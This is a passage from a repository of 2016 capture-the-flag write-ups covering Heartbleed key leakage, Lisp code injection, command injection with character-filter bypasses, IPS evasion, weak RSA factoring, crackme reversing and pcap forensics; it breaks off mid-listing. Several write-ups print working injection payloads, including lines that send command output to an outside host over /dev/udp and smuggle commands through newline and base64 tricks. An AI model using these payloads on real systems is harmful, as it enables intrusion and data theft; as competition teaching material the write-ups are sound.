3a:7e:59:65:f2:f9:d8:01:34:c9:de:a1:aa:94:73: 78 | 2a:50:6a:11:4b:c6:16:0a:b8:d9:9c:87:59:22:03: 79 | 7a:0b:f3:93:45:d4:ed:05:02:27:0d:37:74:f1:60: 80 | 16:37:16:db:5c:3f:39:3c:1d:68:f4:a0:0c:8c:30: 81 | 1b:38:ff:9b:a0:53:eb:9b:7e:1d:60:96:87:61:e6: 82 | d3:13:4a:ba:e2:e0:4a:fc:94:06:9f:ac:d0:56:6d: 83 | 93:f1:19:98:be:89:ea:4a:c0:3f:16:9c:2f:1d:a8: 84 | 7c:a1:5e:99:7a:4a:cf:67:c6:40:52:76:8b:a0:08: 85 | 81:f6:28:8d:db:b2:bb:68:15:93:53:15:ef:52:db: 86 | 93:9d:d3:e1:cb:39:ea:fb:18:89:85:ca:44:5c:ee: 87 | 8b:7f:26:a1:79:77:0d:ca:2f:36:d3:d3:5b:b7:fa: 88 | ef:62:9d:39:2a:94:3a:5c:ba:d4:1d:2f:fa:bf:4e: 89 | 1d:61 90 | Exponent: 65537 (0x10001) 91 | 92 | ``` 93 | 94 | Well, a 2048 bit modulus. Not the time to try a factorisation, and it will be stupid (crypto challenge, not "bruteforce" challenge). 95 | I knew the amazing `heartleech` by Robert David Graham [https://github.com/robertdavidgraham/heartleech]; so let's use it. 96 | 97 | ```bash 98 | >>> /home/notfound/TOOLS/heartleech/heartleech \ 99 | --read attack_log.pcap \ 100 | --cert hb_scrt_ch.crt > privkey.pem \ 101 | && tshark -o "ssl.keys_list:192.168.105.160,443,http,privkey.pem" \ 102 | -r pcap_flag.pcapng \ 103 | -Y frame.number==15 -x 104 | 105 | Reassembled SSL (312 bytes): 106 | 0000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK. 107 | 0010 0a 44 61 74 65 3a 20 54 68 75 2c 20 31 38 20 46 .Date: Thu, 18 F 108 | 0020 65 62 20 32 30 31 36 20 31 35 3a 35 38 3a 31 30 eb 2016 15:58:10 109 | 0030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 GMT..Server: Ap 110 | 0040 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e ache/2.4.7 (Ubun 111 | 0050 74 75 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 tu)..Last-Modifi 112 | 0060 65 64 3a 20 54 68 75 2c 20 31 38 20 46 65 62 20 ed: Thu, 18 Feb 113 | 0070 32 30 31 36 20 31 35 3a 34 32 3a 31 38 20 47 4d 2016 15:42:18 GM 114 | 0080 54 0d 0a 45 54 61 67 3a 20 22 34 33 2d 35 32 63 T..ETag: "43-52c 115 | 0090 30 64 33 36 32 66 34 32 35 30 22 0d 0a 41 63 63 0d362f4250"..Acc 116 | 00a0 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 ept-Ranges: byte 117 | 00b0 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 s..Content-Lengt 118 | 00c0 68 3a 20 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f h: 67..Connectio 119 | 00d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e n: close..Conten 120 | 00e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d t-Type: text/htm 121 | 00f0 6c 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 l.....The flag is IN 123 | 0110 53 3d 7b 48 42 5f 70 72 31 76 34 74 65 5f 6b 65 S={HB_pr1v4te_ke 124 | 0120 79 35 5f 6c 65 33 6b 7d 3c 2f 62 6f 64 79 3e 0a y5_le3k}. 125 | 0130 3c 2f 68 74 6d 6c 3e 0a . 126 | 127 | ``` 128 |
129 | Pwned.
130 | __Flag__ : "The flag is INS={HB_pr1v4te_key5_le3k}." 131 | 132 | Enjoy,
133 | \- [Notfound](http://www.notfound.ovh) 134 | -------------------------------------------------------------------------------- /insomnihack-ctf-2016/misc/Robots/README.md: -------------------------------------------------------------------------------- 1 | #Insomni'hack CTF 2016 : Robots 2 | 3 | ##Write-up 4 | 5 | ###First part : 6 | This challenge is about the famous game called [robots](https://en.wikipedia.org/wiki/Robots_%28computer_game%29). 7 | Service is running on `robots.insomni.hack:4242`. In the first part of this challenge, you have to won the game in order to get a prompt like this : `r to read a file, c to play again, q to quit` 8 | 9 | ###Second part: 10 | You can read the `/etc/passwd` file and find two username which can be useful (or not) : `robots` and `robots_pwned`. 11 | In order to know the user which run the service, we can read this file : `/proc/self/environ`. The user running the service is `robots`. 12 | After some research, it was impossible to find something in the home directory of theses users. 13 | It is possible to know which file is used for this service with the `/proc/self/cmdline` and get this kind of ouput : `/usr/bin/myprog\0foo bar\0baz`. The output was concatened but the last part was the name of the script : `robots.lisp` 14 | 15 | With this information, you can get the source code of the game : [pastebin](http://pastebin.com/EzsPiFrs) 16 | 17 | ###Third part : 18 | With the source code, we can now understand how it works, a common way to exploit lisp script is the following : 19 | 20 | *Theoretically LispInjection could be to lisp-driven applications what SqlInjection is to databases-- a common programming error that results in security holes. LispInjection could happen if the application allows a user to enter values (such as via a form) that the application concatenates into a string containing a Lisp statement that is later "run as code", after all an important part of Lisp philosophy is that "code is data and data is code".* [wiki](http://c2.com/cgi/wiki?LispInjection) 21 | 22 | So, after some analysis, the vulnerables part of this script is at line 21 and 50 (prompt to read file and prompt to move on the game) with the "read" instruction which will execute our input as code. So, we can use this kind of command in order to verify the correct execution of our input : `#.(ext:run-program "find")` like this : 23 | 24 | ``` 25 | r to read a file, c to play again, q to quit 26 | #.(ext:run-program "find") 27 | ``` 28 | 29 | output : 30 | ``` 31 | . 32 | ./getflag 33 | ./getflag/flag 34 | ./getflag/read_flag 35 | ./robots.lisp 36 | Invalid command 37 | ``` 38 | 39 | It works :D so, the last thing to do is to read the flag with the read_flag binary like this : 40 | `#.(ext:run-program "./getflag/read_flag")`and get the flag ! 41 | 42 | Enjoy, thanks to my teammate Beuc for the help. 43 | [Rawger](https://twitter.com/_rawger) 44 | -------------------------------------------------------------------------------- /insomnihack-ctf-2016/misc/Smartcat3/README.md: -------------------------------------------------------------------------------- 1 | #Insomni'hack CTF 2016 : Smartcat3 2 | 3 | ##Write-up 4 | 5 | This challenge was a little bit tricky but fun. 6 | It is based on a website with a form to get the status (Up/Down) of an IP. The source code was avalaible [you can find it here](http://pastebin.com/haAqxW9w) 7 | 8 | So, the tricky part was to bypass the `sanity_check` function which parse our input and return TRUE if any of this char is found : ```"$&\;`|*"``` and the result must be send on the port 53 because of the firewall : `# The firewall only allows the strict minimum required for this chall, aka # OUTPUT on udp/53 and icmp. INPUT is port 80 only."` 9 | 10 | After some research, it was possible to execute arbitrary command with the following payload : `<(ls>/dev/udp/123.123.123.123/53)` and get the following result in the nc listenner : `ping.cgi` 11 | 12 | It was nice, but we needed an other trick because space char is not in `string.ascii_letters, string.digits, string.punctuation` so the sanity_check function return TRUE if we use space. 13 | After some research, we found to following trick : 14 | In bash, if you use `{}` you can get a string with space like this : 15 | `echo {"Hello","World"}` 16 | 17 | >Hello World 18 | 19 | So, it was possible the search some flag file in the filesystem like this : 20 | `<({ls,-la,../..}>/dev/udp/123.123.123.123/53)` 21 | 22 | And find it on the top root directory : 23 | `<({../../../../../../read_flag,flag}>/dev/udp/192.168.5.104/53)` 24 | 25 | But a last part was asked : 26 | `Almost there... just trying to make sure you can execute arbitrary commands.... 27 | Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!. 28 | Do not include the quotes. Each part is a different line."` 29 | 30 | The easy solution is the following : 31 | 32 | ``` 33 | echo -ne '(echo "Give me a..."; sleep 2; echo "... flag!") | /read_flag flag' | base64 34 | KGVjaG8gIkdpdmUgbWUgYS4uLiI7IHNsZWVwIDI7IGVjaG8gIi4uLiBmbGFnISIpIHwgL3JlYWRfZmxhZyBmbGFn 35 | ``` 36 | 37 | Then : 38 | ``` 39 | <({base64,-d,KGVjaG8gIkdpdmUgbWUgYS4uLiI7IHNsZWVwIDI7IGVjaG8gIi4uLiBmbGFnISIpIHwgL3JlYWRfZmxhZyBmbGFn}>/tmp/tmpfile.sh 40 | <({bash,/tmp/tmpfile.sh}>/dev/udp/192.168.5.104/53) 41 | ``` 42 | 43 | And get the flag ! 44 | Enjoy, thank to [Xer](https://twitter.com/XeR_0x2A) for his help :) 45 | [Rawger](https://twitter.com/_rawger) 46 | -------------------------------------------------------------------------------- /insomnihack-ctf-2016/network/Smartips/README.md: -------------------------------------------------------------------------------- 1 | #Insomni'hack CTF 2016 : Smartips 2 | 3 | **Category:** Network **Level:** easy 4 | 5 | > Description : Our smartcat was not so secure so we decided to add a powerful homemade smart IPS. No chance for you to have a flag now! :-) 6 | 7 | ##Write-up 8 | 9 | We got a debugging web interface for this 'homemade IPS' which allow to do a ping from the server behind the IPS. Quickly, I understood that the IPS was filtering the IP input for the ping with a white list wich accept only numbers, letters and points. When an input have the right chars but a wrong or not accessible IP, we got : 10 | 11 | ``` 12 | Error running ping -c 1 11.11.11.11 13 | ``` 14 | 15 | This error is similare to a challenge from the teaser : [insomnihack-ctf-teaser-smartcat1-writeup](https://highon.coffee/blog/insomnihack-ctf-teaser-smartcat1-writeup/) 16 | 17 | We were banging our head on the wall trying every kind of character class to evade the IPS and getting rejected mercilessly everytime. At that point, calling for reinforcements and re-reading the challenge description, we got suggestion from Beuc to attempt some packet filtering. After some analyse with wrong input that killed the connection "catched by the IPS", we saw that when we receive a 'RST ACK', the IPS continue to communicate even with the 'RST ACK'! 18 | 19 | ![alt tag](https://github.com/hexpresso/WU-2016/blob/master/insomnihack-ctf-2016/network/Smartips/smartips_capture.png) 20 | 21 | So the idea was to drop 'RST ACK' packets to continue to communicate with the server and then to bypass the homemade IPS rules. 22 | 23 | ``` 24 | iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP 25 | ``` 26 | 27 | Then, I tried to insert the same command than is the teaser writeup `dest=192.168.5.105%0afind` 28 | 29 | Bingo ! 30 | 31 | ``` 32 | PING 192.168.5.105 (192.168.5.105) 56(84) bytes of data. 33 | 64 bytes from 192.168.5.105: icmp_seq=1 ttl=63 time=0.437 ms 34 | --- 192.168.5.105 ping statistics --- 35 | 1 packets transmitted, 1 received, 0% packet loss, time 0ms 36 | rtt min/avg/max/mdev = 0.437/0.437/0.437/0.000 ms 37 | . 38 | ./img 39 | ./img/cat.jpg 40 | ./.htaccess 41 | ./this 42 | ./this/smart 43 | ./this/smart/ips 44 | ./this/smart/ips/is 45 | ... 46 | ./this/smart/ips/is/not/so/smart/so/you/can/find/the/flag/here/flag 47 | ./index.py 48 | ``` 49 | 50 | Then `dest=192.168.5.105%0acat<./this/smart/ips/is/not/so/smart/so/you/can/find/the/flag/here/flag` 51 | 52 | **Flag:** INS{$hitty_IPS_i$_n0t_so_U$eful} 53 | 54 | [zbetcheckin](https://twitter.com/zbetcheckin) 55 | -------------------------------------------------------------------------------- /insomnihack-ctf-2016/network/Smartips/smartips_capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/insomnihack-ctf-2016/network/Smartips/smartips_capture.png -------------------------------------------------------------------------------- /internetwache-ctf-2016/crypto/oh-bob-60/README.md: -------------------------------------------------------------------------------- 1 | # Internetwache CTF 2016 : Oh Bob! 2 | 3 | **Category:** Crypto 4 | **Points:** 60 5 | **Solves:** 142 6 | **Description:** 7 | 8 | > Description: Alice wants to send Bob a confidential message. They both remember the crypto lecture about RSA. So Bob uses openssl to create key pairs. Finally, Alice encrypts the message with Bob's public keys and sends it to Bob. Clever Eve was able to intercept it. Can you help Eve to decrypt the message? 9 | > 10 | > 11 | > Attachment: [crypto60.zip](./crypto60.zip) 12 | 13 | 14 | ## Write-up 15 | The first write-up of the year for me, and the only one during the INTERNETWACHE CTF, because I do not have too much time :-) 16 | 17 | ```python 18 | #!/usr/bin/env python 19 | 20 | from multiprocessing import Pool 21 | from Crypto.PublicKey import RSA 22 | from Crypto.Util.number import long_to_bytes, bytes_to_long 23 | from sage.all import factor 24 | from string import printable as fuck 25 | 26 | 27 | def _egcd(a, b): 28 | u, u1 = 1, 0 29 | v, v1 = 0, 1 30 | while b: 31 | q = a // b 32 | u, u1 = u1, u - q * u1 33 | v, v1 = v1, v - q * v1 34 | a, b = b, a - q * b 35 | return a, u, v 36 | 37 | 38 | def _decrypt(p, q, e, n, ctxt): 39 | phi = (p - 1) * (q - 1) 40 | gcd, a, b = _egcd(e, phi) 41 | d = a 42 | if d < 0: 43 | d += phi 44 | pt = pow(ctxt, d, n) 45 | return long_to_bytes(pt) 46 | 47 | 48 | def _factor_me(pubkeyyyyyy): 49 | return factor(pubkeyyyyyy) 50 | 51 | f = open('secret.enc', 'r').readlines() 52 | c1 = f[0].decode('base64') 53 | c2 = f[4].decode('base64') 54 | c3 = f[2].decode('base64') 55 | 56 | keypub1 = RSA.importKey(open('bob.pub')) 57 | keypub2 = RSA.importKey(open('bob2.pub')) 58 | keypub3 = RSA.importKey(open('bob3.pub')) 59 | print('[+] All keypub has been imported') 60 | 61 | e1 = keypub1.e 62 | e2 = keypub2.e 63 | e3 = keypub3.e 64 | print('[+] All public exponent has been imported') 65 | 66 | n1 = keypub1.n 67 | n2 = keypub2.n 68 | n3 = keypub3.n 69 | print('[+] All modulus has been imported') 70 | 71 | core = Pool(3) # MULTIPROCESS FOR MULTIGAME \o/ 72 | # p1, q1, p2, q2, p3, q3 = core.map(_factor_me, [n1, n2, n3]) 73 | result = core.map(_factor_me, [n1, n2, n3]) 74 | p1, q1 = str(result[0]).split(' * ') 75 | p2, q2 = str(result[1]).split(' * ') 76 | p3, q3 = str(result[2]).split(' * ') 77 | 78 | 79 | flag = _decrypt(int(p1), int(q1), e1, n1, bytes_to_long(c1)) 80 | flag += _decrypt(int(p2), int(q2), e2, n2, bytes_to_long(c2)) 81 | flag += _decrypt(int(p3), int(q3), e3, n3, bytes_to_long(c3)) 82 | print(filter(lambda x: x in fuck, flag)) 83 | ``` 84 | 85 | Output: 86 | 87 | ```bash 88 | [ notfound @ OTP:~/CTF/2016/WACHE | 0 : !20120 - 0jobs, 3tmux, +3shlvl ] 89 | [ /dev/pts/1 - 13:37:42 ] 90 | >>> sage cry60.py 91 | [+] All keypub has been imported 92 | [+] All public exponent has been imported 93 | [+] All modulus has been imported 94 | I~z8IW{WEAK_R 95 | aNyjVaSA_K3YS_4R 96 | oba53_SO_BAD!} 97 | ``` 98 | 99 | There are some garbages but the flag is guessable, 100 | 101 | __Flag__ : IW{WEAK_RSA_K3YS_4R3_SO_BAD!} 102 | 103 | Enjoy,
104 | \- [Notfound](http://www.notfound.ovh) 105 | 106 | 107 | ## Other write-ups and resources 108 | 109 | * 110 | * 111 | * 112 | * 113 | * 114 | 115 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/crackme/Matriochka1/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack Qualifications CTF 2016: Matriochka - Step 1 2 | 3 | **Category:** Crack Me | 4 | **Points:** 50 | 5 | **Solves:** 432 | 6 | **Description:** 7 | 8 | > Can you help me? 9 | > 10 | > Recently, I found an executable binary. 11 | > 12 | > As I'm a true newbie, 13 | > 14 | > Certainly, to solve it, I will have difficulties. 15 | > 16 | > Keep in mind, the first step is quite easy. 17 | > 18 | > Maybe the last one will be quite tricky. 19 | > 20 | > Emulating it could be a good idea. 21 | > 22 | > The challenge is available at : http://static.quals.nuitduhack.com/stage1.bin 23 | 24 | ## Write-up 25 | 26 | This task is a reverse-engineering task. 27 | The matriochka series is interesting because just like real-life matryoshka 28 | dolls, you start with a huge thing that contains smaller things. 29 | 30 | First thing to do with reverse engineering tasks is downloading radare2, trying 31 | to figure out how to disassemble stuff, read the radare2 book, print it, give 32 | up, burn it, uninstall radare2, and start gdb or IDA. 33 | 34 | ```ASM 35 | mov esi, offset s2 ; "Much_secure__So_safe__Wow" 36 | mov rdi, rax ; s1 37 | call _strcmp 38 | ``` 39 | 40 | We instantly see that it calls `strcmp(s1, "Much_secure__So_safe__Wow")` 41 | 42 | **Flag**: Much_secure__So_safe__Wow 43 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/crackme/Matriochka2/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack Qualifications CTF 2016: Matriochka - Step 2 2 | 3 | **Category:** Crack Me | 4 | **Points:** 100 | 5 | **Solves:** 238 | 6 | **Description:** 7 | 8 | > You must solve [step 1](../Matriochka1/) first. 9 | 10 | ## Write-up 11 | 12 | This task is a reverse-engineering task. 13 | The binary is obtained from Matriochka - Step 1 once the user provides the good 14 | flag. 15 | 16 | This one expects user input in argv. First thing it does it a strlen() which 17 | gives us details about the flag length : 18 | 19 | ```ASM 20 | mov rdi, rax ; s 21 | call _strlen 22 | lea rdx, [rax+1] ; (len + 1) 23 | mov rax, rdx ; (len + 1) 24 | shl rax, 2 ; (len + 1) * 4 25 | add rax, rdx ; (len + 1) * 5 26 | shl rax, 2 ; (len + 1) * 20 27 | add rax, rdx ; (len + 1) * 21 28 | add rax, rax ; (len + 1) * 42 29 | cmp rax, 1F8h ; (len + 1) * 42 == 12 * 42 30 | ``` 31 | 32 | We find that strlen(flag) == 11 33 | 34 | Then, there is a bunch of instruction blocks that read a char, makes some 35 | arithmetical operations, and compares it to a value. 36 | 37 | Example: 38 | ```ASM 39 | mov rax, [rbp+argv] ; 4 = d 40 | add rax, 8 41 | mov rax, [rax] 42 | add rax, 3 43 | movzx eax, byte ptr [rax] 44 | movsx eax, al 45 | add eax, eax 46 | cmp eax, 0C8h ; '+' 47 | jz short loc_4007B0 ; 7 = p 48 | mov [rbp+bool], 0 49 | ``` 50 | argv[2][3] * 2 == 0xC8 <=> argv[2][3] == 0x64 ('d') 51 | 52 | Most of them are straight forward like the previous one, but some of them were 53 | trickier since they checked against an other char. 54 | 55 | No bruteforce was required, 2 passes were required. 56 | 57 | Once most of the flag was recovered (Pandi_p??da), we guessed the 2 remaining 58 | characters. 59 | 60 | **Flag**: Pandi_panda 61 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/crackme/Matriochka3/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack Qualifications CTF 2016: Matriochka - Step 3 2 | 3 | **Category:** Crack Me | 4 | **Points:** 300 | 5 | **Solves:** 183 | 6 | **Description:** 7 | 8 | > You must solve steps [1](../Matriochka1/) and [2](../Matriochka2/) first. 9 | 10 | ## Write-up 11 | 12 | This task is a reverse-engineering task. 13 | The binary is obtained from Matriochka - Step 2 once the user provides the good 14 | flag. 15 | 16 | This crackme uses signals to give you a hard time debugging it: it sets up an 17 | handler for SIGFPE and SIGSEGV. 18 | 19 | SIGFPE is the good boy, SIGSEGV is the next step. Each time you have a valid 20 | character, it replaces the previous SIGSEGV handler, which is called after 21 | returning. 22 | 23 | Every handlers have the same structure: 24 | * Get the ith char 25 | * Multiply it with a number 26 | * Shift it right 27 | * Check if the result is 0x3E8 (1000) 28 | 29 | ```ASM 30 | movzx eax, byte ptr cs:serial 31 | movsx eax, al 32 | mov [rbp+char], eax 33 | mov eax, [rbp+char] 34 | imul ecx, eax, 3E8h 35 | mov edx, 78787879h 36 | mov eax, ecx 37 | imul edx 38 | sar edx, 5 39 | mov eax, ecx 40 | sar eax, 1Fh 41 | sub edx, eax 42 | mov eax, edx 43 | mov [rbp+char], eax 44 | cmp [rbp+char], 3E7h 45 | jle short loc_400848 46 | cmp [rbp+char], 3E8h 47 | jle short loc_40084A 48 | ``` 49 | 50 | At first, we thought it was a software modulo, but it isn't. We didn't want to 51 | "waste" time understanding what's going on, instead we wrote a [C code](bf.c) 52 | that bruteforces a character given the shift operand, and the factor. 53 | 54 | **Flag**: Did_you_like_signals? 55 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/crackme/Matriochka3/bf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | uint32_t 6 | f(uint8_t c, int32_t shift, uint32_t n) 7 | { 8 | int64_t factor; 9 | 10 | factor = 0x3E8; 11 | factor *= c; 12 | factor *= n; 13 | factor >>= 32; 14 | factor >>= shift; 15 | // printf("%p\n", factor); 16 | //printf("%08X\n", top); 17 | return factor; 18 | } 19 | 20 | uint8_t 21 | getChar(int32_t shift, int32_t n) 22 | { 23 | uint8_t i; 24 | uint32_t ret; 25 | 26 | for(i = 0; i < 0xFF; i++) { 27 | ret = f(i, shift, n); 28 | 29 | if(ret == 0x3E7 || ret == 0x3E8) 30 | return i; 31 | } 32 | } 33 | 34 | void 35 | main(void) 36 | { 37 | printf("%c", getChar(5, 0x78787879)); 38 | printf("%c", getChar(6, 0x9C09C09D)); 39 | printf("%c", getChar(5, 0x51EB851F)); 40 | printf("%c", getChar(6, 0xAC769185)); 41 | 42 | printf("%c", getChar(1, 0x043B3D5B)); 43 | printf("%c", getChar(6, 0x939A85C5)); 44 | printf("%c", getChar(6, 0x8C08C08D)); 45 | printf("%c", getChar(6, 0xAC769185)); 46 | 47 | printf("%c", getChar(5, 0x4BDA12F7)); 48 | printf("%c", getChar(6, 0x9C09C09D)); 49 | printf("%c", getChar(5, 0x4C8F8D29)); 50 | printf("%c", getChar(4, 0x288DF0CB)); 51 | printf("%c", getChar(6, 0xAC769185)); 52 | 53 | printf("%c", getChar(5, 0x473C1AB7)); 54 | printf("%c", getChar(6, 0x9C09C09D)); 55 | printf("%c", getChar(3, 0x13E22CBD)); 56 | printf("%c", getChar(2, 0x094F2095)); 57 | printf("%c", getChar(3, 0x151D07EB)); 58 | printf("%c", getChar(5, 0x4BDA12F7)); 59 | printf("%c", getChar(5, 0x473C1AB7)); 60 | printf("%c", getChar(5, 0x82082083)); 61 | } -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/crackme/Matriochka4/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack Qualifications CTF 2016: Matriochka - Step 4 2 | 3 | **Category:** Crack Me | 4 | **Points:** 500 | 5 | **Solves:** 49 | 6 | **Description:** 7 | 8 | > You must solve steps [1](../Matriochka1/), [2](../Matriochka2/) and [3](../Matriochka3/) first. 9 | 10 | ## Write-up 11 | 12 | This task is a reverse-engineering task. 13 | The binary is obtained from Matriochka - Step 3 once the user provides the good 14 | flag. 15 | 16 | ``` 17 | $ file stage4 18 | stage4: DOS/MBR boot sector 19 | ``` 20 | Wellcome to **hell**. 21 | 22 | We are given a MBR for this task. MBR stands for 23 | [Master Boot Record](https://en.wikipedia.org/wiki/Master_boot_record). 24 | 25 | When your computer boots, the BIOS runs, and jumps to your MBR. It is the first 26 | sector on your hard drive. 27 | 28 | To ensure compatibility, bootstrap code is not in 32 bits or 64 bits. It uses 29 | [Real mode](https://en.wikipedia.org/wiki/Real_mode). 30 | 31 | One can debug with qemu + gdb, using the following commands: 32 | ```sh 33 | qemu-system-x86_64 stage4 -s -S -monitor stdio 34 | 35 | gdb 36 | target remote localhost:1234 37 | set architecture i8086 38 | display /i ($cs * 0x10) + $pc 39 | b *0x7C00 40 | c 41 | ``` 42 | The machine can be reset with system_reset in the monitor console. 43 | 44 | ### Part 1: MBR 45 | 46 | First thing we'll do is extract the first disk sector: 47 | ```sh 48 | dd if=../stage4 bs=512 count=1 of=boot.mbr 49 | ``` 50 | 51 | Once imported with base address 0x7C00, we can see three functions at 0x7C02, 52 | 0x7C0E, and 0x7C1B. Those functions pop the return address, adds repectively 53 | 1, 2, or 4 before pushing it back. Therefore, I called them skipByte, skipShort 54 | and skipLong. 55 | These functions are overused to obfuscate code as much as possible. 56 | 57 | The bootloader code doesn't do anything fancy. It justs sets segment registers, 58 | and sends an interuption [13H (DISK)](https://en.wikipedia.org/wiki/INT_13H) 59 | to read 0x32 sectors from the disk at 0x1000. It then jumps to it. (It is 60 | required since BIOS only reads first sector) 61 | 62 | ### Part 2: Second sector 63 | 64 | We first thought that every remaining sectors were treated equally. We were 65 | wrong. In fact, the 2 next sectors are slightly different than the last sectors 66 | (we'll see why later) 67 | 68 | Once again, dump it, and load it at 0x1000 in your favourite disassembler: 69 | ```sh 70 | dd if=../stage4 bs=512 count=2 skip=1 of=disk2 71 | ``` 72 | 73 | Our friends skipByte, skipShort and skipLong are here again. Get ready for more 74 | obfuscation! Just like the previous part, static analysis is the way to go (you 75 | can use gdb to help). It's a bunch of calls to skipXxx and jmps, but there is 76 | no conditional branching. 77 | 78 | There are 2 functions: One that prints a string at 0x107C, and one that reads 79 | user input at 0x1117. 80 | 81 | The string is "What's the magic word ?", and the user input is stored at 0x1003 82 | 83 | The reason why we decided to analyze those sectors indepently than the other is 84 | that once the input is read, the code sets your processor in protected mode 85 | (= "normal" mode). It then jumps to 0x1400 (the 4th sector) 86 | 87 | ### Part 3: Last sectors 88 | 89 | This part is much more pleasant, because it's ~~not~~ less obfuscated, and it's 90 | what reversers are used to! We can even use gdb to see what's really going 91 | on ! :) 92 | 93 | Once again, dump, load at 0x1400, read code. 94 | 95 | A pointer of the password is stored at 0x19C7. First thing we noticed is that 96 | there are cross refs to this address. The code compares part of our input with 97 | ascii chars each time. 98 | 99 | ```ASM 100 | mov ebx, ds:input 101 | mov cl, [ebx] 102 | cmp cl, 47h ; 'G' 103 | jnz short loc_14C4 104 | inc ebx 105 | mov cl, [ebx] 106 | cmp cl, 6Fh ; 'o' 107 | jnz short loc_14C4 108 | inc ebx 109 | mov cl, [ebx] 110 | cmp cl, 6Fh ; 'o' 111 | jnz short loc_14C4 112 | ``` 113 | 114 | **Flag**: Good_Game_! 115 | 116 | Wait, no, where are my points? It's a wrong flag! :( 117 | 118 | Back to the xrefs, there are a few more that we didn't peek yet. They contain 119 | non-printable chars : our serial is probably altered. 120 | 121 | We set a watchpoint with gdb on our serial (at 0x1003) to see what writes 122 | there : code at 0x167E xors it with a key in the memory. It uses the same 123 | routine to decrypt the good, and bad boy. 124 | 125 | Our solution was to fill the input with 'a' (0x41), and set a breakpoint on 126 | each block that compared with the right flag. 127 | 128 | Each block is composed of sub-blocks like this: 129 | ```ASM 130 | add ebx, 2 131 | mov cl, [ebx] 132 | cmp cl, 5Bh ; '[' 133 | jnz short loc_16CD 134 | ``` 135 | 136 | It checks input[k += 2] with 0x5B. Since our input is xored with a string, we 137 | could retrieve the char of each characters with: 138 | `flag[i] = 'a' ^ check[i] ^ input[i]` 139 | 140 | **Flag**: Ddr1ml/frf 141 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Invest/README.md: -------------------------------------------------------------------------------- 1 | # NDH Quals CTF 2016 : Invest 2 | 3 | **Category:** Forensic **Points:** 50 **Solves:** 69 4 | 5 | >> Description : 6 | >> A paranoid guy seems to have secured his file very well. But I am convinced he made a mistake somewhere. 7 | >> The challenge is available at : 8 | 9 | 10 | ## Write-up 11 | 12 | The given [pcap file](invest.pcapng) contains some internet traffic. 13 | Let's have a quick look : 14 | 15 | ```python 16 | >>> from scapy.all import * 17 | >>> p = rdpcap('invest.pcapng') 18 | >>> p.sessions 19 | > 20 | ``` 21 | 22 | ```bash 23 | 410 54.127033 192.168.0.19 -> 192.168.0.23 HTTP 423 GET /key/key.txt HTTP/1.1 24 | 412 54.127799 192.168.0.23 -> 192.168.0.19 HTTP 509 HTTP/1.1 200 OK (text/plain) 25 | 416 58.750818 192.168.0.19 -> 192.168.0.23 HTTP 412 GET / HTTP/1.1 26 | 417 58.751614 192.168.0.23 -> 192.168.0.19 HTTP 745 HTTP/1.1 200 OK (text/html) 27 | 420 60.049842 192.168.0.19 -> 192.168.0.23 HTTP 414 GET /chall/ HTTP/1.1 28 | 421 60.052882 192.168.0.23 -> 192.168.0.19 HTTP 1253 HTTP/1.1 200 OK (text/html) 29 | 424 61.361098 192.168.0.19 -> 192.168.0.23 HTTP 429 GET /chall/encryptaa HTTP/1.1 30 | 425 61.361617 192.168.0.23 -> 192.168.0.19 HTTP 1626 HTTP/1.1 200 OK 31 | 448 74.648308 192.168.0.19 -> 192.168.0.23 HTTP 377 GET / HTTP/1.1 32 | 450 74.649423 192.168.0.23 -> 192.168.0.19 HTTP 746 HTTP/1.1 200 OK (text/html) 33 | 452 76.378262 192.168.0.19 -> 192.168.0.23 HTTP 414 GET /chall/ HTTP/1.1 34 | 453 76.380374 192.168.0.23 -> 192.168.0.19 HTTP 1253 HTTP/1.1 200 OK (text/html) 35 | 455 76.659970 192.168.0.19 -> 192.168.0.23 HTTP 401 GET /icons/unknown.gif HTTP/1.1 36 | 456 76.660587 192.168.0.23 -> 192.168.0.19 HTTP 594 HTTP/1.1 200 OK (GIF89a) 37 | 490 78.371380 192.168.0.19 -> 192.168.0.23 HTTP 429 GET /chall/encryptab HTTP/1.1 38 | 491 78.371830 192.168.0.23 -> 192.168.0.19 HTTP 1626 HTTP/1.1 200 OK 39 | 618 80.745558 192.168.0.19 -> 192.168.0.23 HTTP 429 GET /chall/encryptac HTTP/1.1 40 | 619 80.745980 192.168.0.23 -> 192.168.0.19 HTTP 1626 HTTP/1.1 200 OK 41 | ``` 42 | 43 | We can see two files named `key.txt` and `encryptXX`. This looks interesting. 44 | To export them, I simply used Wireshark, and did `Export Objects -> HTTP`. 45 | 46 | Now, we have many files : 47 | 48 | ```bash 49 | $ ls out/ 50 | 12767348_10208095326368148_1014857467_n.jpeg encryptad encryptan encryptax encryptbh encryptbr encryptcb encryptcl encryptcv image2.gif 51 | %2f encryptae encryptao encryptay encryptbi encryptbs encryptcc encryptcm encryptcw key 52 | %2f(1) encryptaf encryptap encryptaz encryptbj encryptbt encryptcd encryptcn encryptcx key.txt 53 | back.gif encryptag encryptaq encryptba encryptbk encryptbu encryptce 